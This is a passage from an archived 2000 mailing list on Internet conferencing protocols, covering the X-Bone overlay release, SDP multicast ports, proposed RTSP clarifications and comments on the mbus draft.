	for confctrl-outgoing; Sat, 18 Mar 2000 05:57:07 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA25087
	for <confctrl@zephyr.isi.edu>; Sat, 18 Mar 2000 05:57:05 -0800 (PST)
Received: from goliath.dacor.com (ns1.dacor.net [205.133.75.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA17975;
	Sat, 18 Mar 2000 05:57:15 -0800 (PST)
Received: from veda-home.com (adsl-77.dacor.net [205.133.74.77]) by goliath.dacor.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id HBVZ65PQ; Sat, 18 Mar 2000 08:57:15 -0500
Message-ID: <38D38C9C.CFB6778@veda-home.com>
Date: Sat, 18 Mar 2000 09:03:08 -0500
From: Telecom Tom <tom.scott@veda-home.com>
Organization: The Veda Home Company
X-Mailer: Mozilla 4.7 [en] (X11; U; SunOS 5.7 sun4m)
X-Accept-Language: en-US, es, de, fr
MIME-Version: 1.0
To: confctrl@ISI.EDU, Joe Touch <touch@ISI.EDU>,
        "Crowcroft, Jon" <J.Crowcroft@cs.ucl.ac.uk>
Subject: re: Announcing X-Bone VPN/overlay software release
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Joe and Jon,

Can you briefly describe how we might use xbone, and presumably mbone,
to make a VPN overlay for educational institutions to do
video/multimedia conferencing? 

How can we use chapters 6 and 7 of the multimedia conferencing bible
(aka Internetworking Multimedia) to control applications, membership,
floor, and network?

When and where is Jon's conference control channel protocol (CCCP)
going to be developed and deployed (section 7.5)?

--TT
------------------------------------------------
Tom Nelson Scott         tom.scott@veda-home.com
The Veda Home Company    Bowling Green, Ohio USA
"In IP We Trust"         "E Pluribus Unix"
------------------------------------------------


-------- Original Message --------
Subject: Announcing X-Bone VPN/overlay software release
Date: Fri, 17 Mar 2000 14:20:09 -0800 (PST)
From: Joe Touch <touch@ISI.EDU>
To: confctrl@ISI.EDU

   xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx    
   x                                                          x    
   x           XX    XX      X-BONE Overlay System            x    
   x             X  X                                         x    
   x              XX                Software Release          x    
   x             X  X                                         x    
   x           XX    XX             March 2000                x    
   x                                                          x    
   xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx    
                                                                   
                                                                   
The X-Bone system for automated deployment of VPN / overlay networks
is now publicly available. This is the first major public release,
v1.2.
                                                                   
X-Bone dynamically deploys and manages Internet overlays to reduce
configuration effort and increase network component sharing. X-Bone
discovers, configures, and monitors network resources to create
overlays over existing IP networks.
                                                                   
The X-Bone is implemented in Perl, and open source is provided.
                                                                   
The X-Bone can be used for:                                        
                                                                   
      - deploying VPNs                                             
                                                                   
      - sharing lab or wide-area networks                          
         for multiple, concurrent projects                         
         for testing protocols and apps on new topologies          
                                                                   
X-Bone uses two-layer IP in IP tunneled overlays and supports existing
applications and unmodified routing, multicast, and DNS services.
X-Bone also support IPSec within overlays. Applications can use the
X-Bone without modification or recompilation.
                                                                   
The X-Bone is available for the following operating systems:       
                                                                   
      - FreeBSD                                                    
              CAIRN 2.5, 3.*, 3.* + KAME IPsec patches             
                                                                   
      - Linux RedHat                                               
              6.0, 6.0 + NIST Cerberus IPsec patches, 6.1          
                                                                   
The FreeBSD port and Linux RPM have been submitted to the FreeBSD
ports and RedHat Linux RPMs sites; further information and details and
the port and RPM files are currently available at:
                                                                   
      http://www.isi.edu/xbone/                                    
                                                                   
- Joe Touch                                                        
  Project Leader, X-Bone group, USC/ISI                            
  touch@isi.edu                                                    
  http://www.isi.edu/touch                                         
  +1 (310) 448-9151                                                
                                                                   
-------------------------------------------------------------------
 Effort sponsored by the Defense Advanced Research Projects Agency 
 (DARPA)and Air Force Research Laboratory, Air Force Materiel      
 Command, USAF, under agreement number F30602-98-1-0200.           
                                                                   
 Copyright (c) 1998-2000 by the University of Southern California. 
 All rights reserved.                                              
-------------------------------------------------------------------

From confctrl-owner  Mon Mar 20 01:07:41 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA13745
	for confctrl-outgoing; Mon, 20 Mar 2000 01:07:41 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA13740
	for <confctrl@zephyr.isi.edu>; Mon, 20 Mar 2000 01:07:40 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id BAA12300;
	Mon, 20 Mar 2000 01:07:50 -0800 (PST)
Received: from sonic.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.05540-0@bells.cs.ucl.ac.uk>; Mon, 20 Mar 2000 09:07:44 +0000
To: Telecom Tom <tom.scott@veda-home.com>
cc: confctrl@ISI.EDU, Joe Touch <touch@ISI.EDU>
Subject: Re: Announcing X-Bone VPN/overlay software release
In-reply-to: Your message of "Sat, 18 Mar 2000 09:03:08 EST." <38D38C9C.CFB6778@veda-home.com>
Date: Mon, 20 Mar 2000 09:07:44 +0000
Message-ID: <2686.953543264@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


In message <38D38C9C.CFB6778@veda-home.com>, Telecom Tom typed:

 
 >>Can you briefly describe how we might use xbone, and presumably mbone,
 >>to make a VPN overlay for educational institutions to do
 >>video/multimedia conferencing? 


there's quite a few effortsd underway to provide overlays, often in the
context of multicast - it seems like end system only multicast is one way to
get some of the benefits without needing global deployment - one thing that
is needed is an application (e.g. games) with a software infrastructure that
has a standard API to networks that hides whether one is using an overlay or
native service....

 >>How can we use chapters 6 and 7 of the multimedia conferencing bible
 >>(aka Internetworking Multimedia) to control applications, membership,
 >>floor, and network?
 
pass:-)

 >>When and where is Jon's conference control channel protocol (CCCP)
 >>going to be developed and deployed (section 7.5)?

this was one of several proposed solutions to infrastruxture suppotr for
mmusic WG work - mmusic is sort of in a hiatus right now where there are some
short (session desctiption stuff), some medium (mbus stuff)
and some long term (of which this is one) pieces of work ...... i hope we'll
start to see some movement soon on this! again, a lot of us have had to pull
back and put a lot more effort into getting the inrastructure to deploy and
scale before going back to the muddleware...

cheers

j.

From confctrl-owner  Mon Mar 20 07:53:05 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA26851
	for confctrl-outgoing; Mon, 20 Mar 2000 07:53:05 -0800 (PST)
Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA26846
	for <confctrl@zephyr.isi.edu>; Mon, 20 Mar 2000 07:53:04 -0800 (PST)
Received: from isi.edu (ink-i.isi.edu [128.9.102.4])
	by boreas.isi.edu (8.8.7/8.8.6) with ESMTP id HAA24137;
	Mon, 20 Mar 2000 07:53:03 -0800 (PST)
Message-ID: <38D647E6.971AA1E6@isi.edu>
Date: Mon, 20 Mar 2000 07:46:46 -0800
From: Joe Touch <touch@ISI.EDU>
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
CC: Telecom Tom <tom.scott@veda-home.com>, confctrl@ISI.EDU, touch@ISI.EDU
Subject: Re: Announcing X-Bone VPN/overlay software release
References: <2686.953543264@cs.ucl.ac.uk>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Jon Crowcroft wrote:
> 
> In message <38D38C9C.CFB6778@veda-home.com>, Telecom Tom typed:
> 
> 
>  >>Can you briefly describe how we might use xbone, and presumably mbone,
>  >>to make a VPN overlay for educational institutions to do
>  >>video/multimedia conferencing?
> 
> there's quite a few effortsd underway to provide overlays, often in the
> context of multicast -

The X-Bone currently requires multicast for deployment. It uses
multicast for resource discovery. We are examining ways to relax
this constraint because - once deployed - we can support multicast
on the overlay. 

>  >>How can we use chapters 6 and 7 of the multimedia conferencing bible
>  >>(aka Internetworking Multimedia) to control applications, membership,
>  >>floor, and network?

In a sense we applied some of these principles among the end hosts 
and routers in the overlay. We have described the X-Bone as "a
teleconference
among routers," since (like sd and sdr) we use multicast announcements
to advertise session invitations.

(however, our invitation structure is sufficiently different as to
require a different format; we're looking at whether there is any gain
that might be derived from unifying the two).

Joe

From confctrl-owner  Fri Mar 24 00:49:24 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA06748
	for confctrl-outgoing; Fri, 24 Mar 2000 00:49:24 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA06743
	for <confctrl@zephyr.isi.edu>; Fri, 24 Mar 2000 00:49:23 -0800 (PST)
Received: from sina.com ([202.106.187.163])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id AAA01478
	for <confctrl@isi.edu>; Fri, 24 Mar 2000 00:49:22 -0800 (PST)
Received: (qmail 17833 invoked by uid 99); 24 Mar 2000 08:50:54 -0000
Message-ID: <20000324085054.17832.qmail@sina.com>
From: myzhai <myzhai@sina.com>
To: confctrl@ISI.EDU
Subject: about reusing of the same port for mcast
Date: Fri Mar 24 16:50:54 CST 2000
X-Mailer: SinaMail 3.0Beta (FireToad)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Sir,
  In SDP ( rfc2327) the authors  mention that for layered multicast it should use
sequential addresses for a layered multicast session, but I want to know
for a layered multicast session, should we use same UDP port for all the
layer groups of the same layered session according to SDP? I hope get some suggestions 
from you ,thanks.

Best wishes

Zhai

______________________________________


===================================================================
ÐÂÀËÃâ·Ñµç×ÓÓÊÏä http://mail.sina.com.cn 


From confctrl-owner  Fri Mar 24 01:08:02 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA07368
	for confctrl-outgoing; Fri, 24 Mar 2000 01:08:02 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA07360
	for <confctrl@zephyr.isi.edu>; Fri, 24 Mar 2000 01:07:59 -0800 (PST)
Received: from graphics.nju.edu.cn (graphics.nju.edu.cn [202.119.36.43])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id BAA02714
	for <confctrl@ISI.EDU>; Fri, 24 Mar 2000 01:06:42 -0800 (PST)
Received: from wangjian ([192.168.1.149])
	by graphics.nju.edu.cn (8.9.3/8.8.7) with SMTP id EAA07537;
	Fri, 17 Mar 2000 04:36:58 +0800
Message-ID: <004201bf29c8$116cbc40$9501a8c0@nju.edu.cn>
Reply-To: "WANG Jian" <wangjian@doctor4u.com>
From: "WANG Jian" <wangjian@graphics.nju.edu.cn>
To: <confctrl@ISI.EDU>, <idmr@cs.ucl.ac.uk>
Cc: <cscw-sig@mailbase.ac.uk>, <rem-conf@es.net>
Date: Mon, 8 Nov 1999 17:02:51 +0800
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_003F_01BF2A0B.17ABB8C0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2014.211
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_003F_01BF2A0B.17ABB8C0
Content-Type: text/plain;
	charset="gb2312"
Content-Transfer-Encoding: base64

SGksDQoNCkkgaGF2ZSBiZWVuIHdvcmtpbmcgd2l0aCBEZXB0LiBvZiBDb21wdXRlciwgTmFuamlu
ZyBVbml2ZXJzaXR5LCBDaGluYSBhZnRlciBnYWluZWQgbXkgRC4gRW5nIChDb21wdXRlciBFbmdp
bmVlcmluZykgaW4gMTk5OC4gDQoNCkkgaGF2ZSBiZWVuIHN0dWR5aW5nIHRoZSByb3V0aW5nIHBy
b2JsZW0gb2Ygc3ltbWV0aWNhbCB0aWdodC1jb3VwbGVkIG11bHRpcGFydHkgc2Vzc2lvbiBzaW5j
ZSAxOTk1IGFuZCBoYXZlIHB1dCBmb3J3YXJkIGEgY29uY2VwdCBvZiBtdWx0aS1wb2ludCBjb25u
ZWN0aW9uIHdoaWNoIGNvbm5lY3RzIGFsbCBwYXJ0aWNpcGFudHMuIFRoZSBtZXRob2QgbWF5IHJl
ZHVjZSB0aGUgd2hvbGUgY29tcGxleGl0eSBpbiB0aGUgc2Vzc2lvbiBhbmQgc3VwcG9ydCBlZmZp
Y2llbnRseSB0aGUgc2Vzc2lvbi4gQnV0IG9ubHkgdGhlb3JpY2FsIGRpc2N1c3Npb24sIG5vIGV4
cGVyaW1lbnQgYXZhaWxhYmxlLiBTbywgSSB3YW50IHRvIGFwcGx5IGEgcG9zdGRvYyBwb3NpdGlv
biBpbiB0aGUgaW5zdGl0dXRlIHdoaWNoIG93bnMgZXhwZXJpbWVudGFsIGVudmlyb25tZW50IHNv
IHRoYXQgSSBjYW4ga2VlcCBteSByZXNlYXJjaCB3b3JrLiBXaG8gY2FuIGRvIG1lIGEgZmF2b3I/
DQoNCkFueSBhZHZpY2VzIGFuZCBjb21tZW50cyBhcmUgd2VsY29tZS4NCg0KSmlhbiBXQU5HDQo=

------=_NextPart_000_003F_01BF2A0B.17ABB8C0
Content-Type: text/html;
	charset="gb2312"
Content-Transfer-Encoding: base64

PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9uYWwv
L0VOIj4NCjxIVE1MPjxIRUFEPg0KPE1FVEEgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWdi
MjMxMiIgaHR0cC1lcXVpdj1Db250ZW50LVR5cGU+DQo8TUVUQSBjb250ZW50PSJNU0hUTUwgNS4w
MC4yMDE0LjIxMCIgbmFtZT1HRU5FUkFUT1I+DQo8U1RZTEU+PC9TVFlMRT4NCjwvSEVBRD4NCjxC
T0RZIGJnQ29sb3I9I2ZmZmZmZj4NCjxESVY+PEZPTlQgZmFjZT0iVGltZXMgTmV3IFJvbWFuIiBz
aXplPTI+SGksPC9GT05UPjwvRElWPg0KPERJVj4mbmJzcDs8L0RJVj4NCjxESVY+PEZPTlQgZmFj
ZT0iVGltZXMgTmV3IFJvbWFuIiBzaXplPTI+SSBoYXZlIGJlZW4gd29ya2luZyB3aXRoIERlcHQu
IG9mIA0KQ29tcHV0ZXIsIE5hbmppbmcgVW5pdmVyc2l0eSwgQ2hpbmEgYWZ0ZXIgZ2FpbmVkIG15
IEQuIEVuZyAoQ29tcHV0ZXIgDQpFbmdpbmVlcmluZykgaW4gMTk5OC4gPC9GT05UPjwvRElWPg0K
PERJVj4mbmJzcDs8L0RJVj4NCjxESVY+PEZPTlQgZmFjZT0iVGltZXMgTmV3IFJvbWFuIiBzaXpl
PTI+SSBoYXZlIGJlZW4gc3R1ZHlpbmcgdGhlIHJvdXRpbmcgDQpwcm9ibGVtIG9mIHN5bW1ldGlj
YWwgdGlnaHQtY291cGxlZCBtdWx0aXBhcnR5IHNlc3Npb24gc2luY2UgMTk5NSBhbmQgaGF2ZSBw
dXQgDQpmb3J3YXJkIGEgY29uY2VwdCBvZiBtdWx0aS1wb2ludCBjb25uZWN0aW9uIHdoaWNoIGNv
bm5lY3RzIGFsbCBwYXJ0aWNpcGFudHMuIFRoZSANCm1ldGhvZCBtYXkgcmVkdWNlIHRoZSB3aG9s
ZSBjb21wbGV4aXR5IGluIHRoZSBzZXNzaW9uIGFuZCBzdXBwb3J0IGVmZmljaWVudGx5IA0KdGhl
IHNlc3Npb24uIEJ1dCBvbmx5IHRoZW9yaWNhbCBkaXNjdXNzaW9uLCBubyBleHBlcmltZW50IGF2
YWlsYWJsZS4gU28sIEkgd2FudCANCnRvIGFwcGx5IGEgPFNUUk9ORz5wb3N0ZG9jIHBvc2l0aW9u
IDwvU1RST05HPmluIHRoZSBpbnN0aXR1dGUgd2hpY2ggb3ducyANCmV4cGVyaW1lbnRhbCBlbnZp
cm9ubWVudCBzbyB0aGF0Jm5ic3A7SSBjYW4ga2VlcCBteSByZXNlYXJjaCB3b3JrLiBXaG8gY2Fu
IGRvIG1lIA0KYSBmYXZvcj88L0ZPTlQ+PC9ESVY+DQo8RElWPiZuYnNwOzwvRElWPg0KPERJVj48
Rk9OVCBmYWNlPSJUaW1lcyBOZXcgUm9tYW4iIHNpemU9Mj5BbnkgYWR2aWNlcyBhbmQgY29tbWVu
dHMgYXJlIA0Kd2VsY29tZS48L0ZPTlQ+PC9ESVY+DQo8RElWPiZuYnNwOzwvRElWPg0KPERJVj48
Rk9OVCBmYWNlPSJUaW1lcyBOZXcgUm9tYW4iIHNpemU9Mj5KaWFuIFdBTkc8L0ZPTlQ+PC9ESVY+
PC9CT0RZPjwvSFRNTD4NCg==

------=_NextPart_000_003F_01BF2A0B.17ABB8C0--


From confctrl-owner  Fri Mar 24 16:38:34 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA09675
	for confctrl-outgoing; Fri, 24 Mar 2000 16:38:34 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA09670
	for <confctrl@zephyr.isi.edu>; Fri, 24 Mar 2000 16:38:33 -0800 (PST)
Received: from redale.cisco.com (redale.cisco.com [171.71.154.68])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA18433
	for <confctrl@isi.edu>; Fri, 24 Mar 2000 16:38:46 -0800 (PST)
Received: from cisco.com (dhcp-171-71-147-142.cisco.com [171.71.147.142]) by redale.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with ESMTP id QAA01872; Fri, 24 Mar 2000 16:38:14 -0800 (PST)
Message-ID: <38DC0A7E.A26A8B44@cisco.com>
Date: Fri, 24 Mar 2000 16:38:23 -0800
From: Anup Rao <anrao@cisco.com>
Organization: Cisco Systems
X-Mailer: Mozilla 4.5 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Changes/clarifications to RTSP
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Hi everyone,

Seems like it is a good time to work on  a RTSP spec  revision with:

a) Clarifications based on  implementation experience
b) Enhancements, possibly related to caching or other work.
c) Removing parts that have not been implemented and will not be, should such
parts exist.

I'll go through what I have for a) below. Input for all of the categories is
solicited.  Note that some  enhancements are proposed in
draft-sheedy-mmusic-rtsp-ext-00.txt and
draft-periyannan-rtsp-caching-00.txt.

Thanks
Anup.

a1) Use of destination parameter in Transport header, raised by Ed Lau

Draft seems to be unduly restrictive in terms of using this parameter for
unicast, ie to direct a stream at an address other than the one
control requests are being recd from.  Henning posted a change,  reproduced
here:

\begin{changebar}
\item[\header{destination}:] The address to which a stream will be
sent.
The client may specify the destination address with the \header{destination}
parameter.  To avoid becoming the unwitting perpetrator of a remote-controlled
denial-of-service attack, a
server {\SHOULD} authenticate the client and {\SHOULD} log such attempts
before allowing the client to direct a media stream to an address not
chosen  by the server.  This is particularly important if RTSP commands are
issued via UDP, but implementations cannot rely on TCP as reliable means of
client identification by itself.
\end{changebar}


a2) Description of error code 451 is not consistent. It is "Invalid parameter"
in 7.1.1 and "Parameter not understood" everywhere else.

a3) Clarification of  response code if some value within a header is not
supported. I've add quite a few people ask me this : what is the response code
if  a server gets a PLAY with absolute time,  and  does not support it.

Propose to use a new 5xx code. In addition, the reponse should include parts of
the header that were not supported.

For example:

PLAY rtsp://audio.example.com/twister.en RTSP/1.0
CSeq: 833
Session: 12345678
Range: smpte=0:10:20-;time=19970123T153600Z

RTSP/1.0 451 Parameter not understood
Range: time=19970123T153600Z

meaning that the absolute time specification was not understood.

This should be backwards compatible.

a4) Also,  the use of OPTIONS to query the support of such abilities(ie types of
ranges supported)  in addition to querying extension and method support.

Currently OPTIONS can be used only to query method support. It is useful to have
it query
the supported  range types(smpte/absolute/npt) as well.

A possible way to do this is to include the headers in the request whose
supported possibilities are desired. For example

OPTIONS *  RTSP/1.0
Range: * (or empty)

RTSP/1.0 200 OK
Range: npt, clock, smpte

For querying of server supported extensions, it is possible to use OPTIONS and
the "Supported" header specified for SIP.

a5)  More a question: Any SET/GET_PARAMETERS requiring to be standarized ?

-Anup.



From confctrl-owner  Tue Mar 28 07:09:06 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA26480
	for confctrl-outgoing; Tue, 28 Mar 2000 07:09:06 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA26474
	for <confctrl@zephyr.isi.edu>; Tue, 28 Mar 2000 07:09:04 -0800 (PST)
Received: from tokyo.ccrle.nec.de (tokyo.ccrle.nec.de [195.37.70.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA23657
	for <confctrl@isi.edu>; Tue, 28 Mar 2000 07:09:17 -0800 (PST)
Received: from wallace.heidelberg.ccrle.nec.de (Wallace.heidelberg.ccrle.nec.de [192.168.102.1])
	by tokyo.ccrle.nec.de (8.8.7/3.6W980303HK) with ESMTP id RAA18084;
	Tue, 28 Mar 2000 17:01:11 +0200 (CEST)
Received: from prak (Prak.heidelberg.ccrle.nec.de [192.168.102.92])
	by wallace.heidelberg.ccrle.nec.de (8.8.7/3.6W980203HK) with SMTP id RAA21646;
	Tue, 28 Mar 2000 17:16:17 +0200 (CEST)
Message-ID: <006d01bf98c6$92e1ee90$5c66a8c0@heidelberg.ccrle.nec.de>
From: "hjs" <stuttgen@ccrle.nec.de>
To: "atm2000" <atm2000@ccrle.nec.de>
Subject: IEEE High Performance Switching and Routing - ATM 2000 Registration now open.
Date: Tue, 28 Mar 2000 17:02:01 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 8bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dear Colleague,

I am happy to announce that the preliminary program for the

IEEE High Performance Switching and Routing Conference 2000 (ATM2000)

from June 26 to June 29, 2000 at Heidelberg/Germany is now online
available at    http://atm2000.ccrle.nec.de/ . The web site also
includes all necessary registration forms for Tutorials, Conference,
Hotel, as well as travel and other useful information.

As we have to limit the number of attendants, I encourage you to
register as early as possible, thereby you will also enjoy the
cheaper early registration rates as well as a space in the
conference hotel. Rooms are limited and will be handled
on a FCFS base.

Please forward this email to anybody that may be interested in the
conference.

Looking forward to see you in Heidelberg

Heinrich Stüttgen
IEEE HPSR General Chair

PS. Please accept my apologies if you receive multiple copies
        of this invitation






From confctrl-owner  Thu Mar 30 01:04:40 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA22489
	for confctrl-outgoing; Thu, 30 Mar 2000 01:04:40 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA22484
	for <confctrl@zephyr.isi.edu>; Thu, 30 Mar 2000 01:04:36 -0800 (PST)
Received: from bettina.informatik.uni-bremen.de (bettina.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id BAA22088
	for <confctrl@isi.edu>; Thu, 30 Mar 2000 01:04:50 -0800 (PST)
Received: from plumps (daemon.informatik.uni-bremen.de [134.102.218.45])
	by bettina.informatik.uni-bremen.de (8.8.7/8.8.7) with SMTP id LAA11457
	for <confctrl@isi.edu>; Thu, 30 Mar 2000 11:04:46 +0200 (MET DST)
Message-Id: <200003300904.LAA11457@bettina.informatik.uni-bremen.de>
X-Sender: jo@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
Date: Thu, 30 Mar 2000 11:04:02 +0200
To: confctrl@ISI.EDU
From: Joerg Ott <jo@tzi.uni-bremen.de>
Subject: Slides from MMUSIC session today
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

if you have been presenting in MMUSIC today, please send me
an a copy of you slides for their later inclusion in the
minutes.

Thanks,
Joerg



From confctrl-owner  Fri Mar 31 06:15:14 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA19032
	for confctrl-outgoing; Fri, 31 Mar 2000 06:15:14 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA19027
	for <confctrl@zephyr.isi.edu>; Fri, 31 Mar 2000 06:15:12 -0800 (PST)
Received: from archief.telin.nl (ijszee.telin.nl [195.169.16.25])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA10155
	for <confctrl@isi.edu>; Fri, 31 Mar 2000 06:15:27 -0800 (PST)
Received: from telin.nl ([195.169.16.136])
          by archief.telin.nl (Lotus Domino Release 5.0.2b (Intl))
          with ESMTP id 2000033116153278:197 ;
          Fri, 31 Mar 2000 16:15:32 +0200 
Message-ID: <38E4B2EB.E3CF3268@telin.nl>
Date: Fri, 31 Mar 2000 16:15:07 +0200
From: Robert Slagter <slagter@telin.nl>
X-Mailer: Mozilla 4.51 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU, jo@tzi.de, c.perkins@cs.ucl.ac.uk, dku@tzi.de
Subject: Comments on the mbus internet draft
X-MIMETrack: Itemize by SMTP Server on ARCHIEF/SRV/TELIN/NL(Release 5.0.2b (Intl)|16
 December 1999) at 03/31/2000 04:15:32 PM,
	Serialize by Router on ARCHIEF/SRV/TELIN/NL(Release 5.0.2b (Intl)|16
 December 1999) at 03/31/2000 04:16:05 PM,
	Serialize complete at 03/31/2000 04:16:05 PM
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

After reading "draft-ietf-mmusic-mbus-transport-01.txt", concerning a
message bus for local coordination, I have some comments:

* There is an inconsistency between sections 7.2 and 7.3: while section
7.2 defines that an mbus message consists of a message header and at
least one mbus command, section 7.3 states that the header is followed
by zero, or more, commands.
Section 7.3 is correct in my opinion, as it should be possible for an
mbus message to only contain an acknowledgement, which is transmitted in
the message header (as described in section 7.2).

* Appendix A describes the address element keys. The list provided in
that section should in my opinion be extended with the key "id", which
describes a unique identifier of the instance of the conferencing
application. The rest of the appendix suggests this, but the key is just
not mentioned in the list.

Furthermore, I wonder why section 8.5 defines that a "GO" message must
be sent via unicast. What is the reason for not using multicast? Just
that the message is by definition always sent to one receiver?

Kind regards,
    Robert Slagter


--
   Ir. Robert Slagter

   member of scientific staff
   Telematica Instituut
   P.O. Box 589, 7500 AN Enschede, The Netherlands

   Tel. 053 - 4850 488
   Fax: 053 - 4850 400
   E-mail: slagter@telin.nl
_________________________________________________________________________




From confctrl-owner  Fri Mar 31 08:24:30 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA23166
	for confctrl-outgoing; Fri, 31 Mar 2000 08:24:30 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA23161
	for <confctrl@zephyr.isi.edu>; Fri, 31 Mar 2000 08:24:28 -0800 (PST)
Received: from bettina.informatik.uni-bremen.de (bettina.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA17909
	for <confctrl@isi.edu>; Fri, 31 Mar 2000 08:24:42 -0800 (PST)
Received: from daemon.informatik.uni-bremen.de (daemon.informatik.uni-bremen.de [134.102.218.45])
	by bettina.informatik.uni-bremen.de (8.8.7/8.8.7) with ESMTP id SAA27712;
	Fri, 31 Mar 2000 18:24:40 +0200 (MET DST)
Received: (from dku@localhost)
	by daemon.informatik.uni-bremen.de (8.8.8+Sun/8.8.7) id SAA27839;
	Fri, 31 Mar 2000 18:24:38 +0200 (MET DST)
To: Robert Slagter <slagter@telin.nl>
Cc: confctrl@ISI.EDU
Subject: Re: Comments on the mbus internet draft
References: <38E4B2EB.E3CF3268@telin.nl>
From: Dirk Kutscher <dku@informatik.uni-bremen.de>
Date: 31 Mar 2000 18:24:38 +0200
In-Reply-To: Robert Slagter's message of Fri, 31 Mar 2000 16:15:07 +0200
Message-ID: <cdog7v6rax.fsf@daemon.informatik.uni-bremen.de>
Lines: 46
X-Mailer: Gnus v5.5/Emacs 20.2
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>>>>> "Robert" == Robert Slagter <slagter@telin.nl> writes:

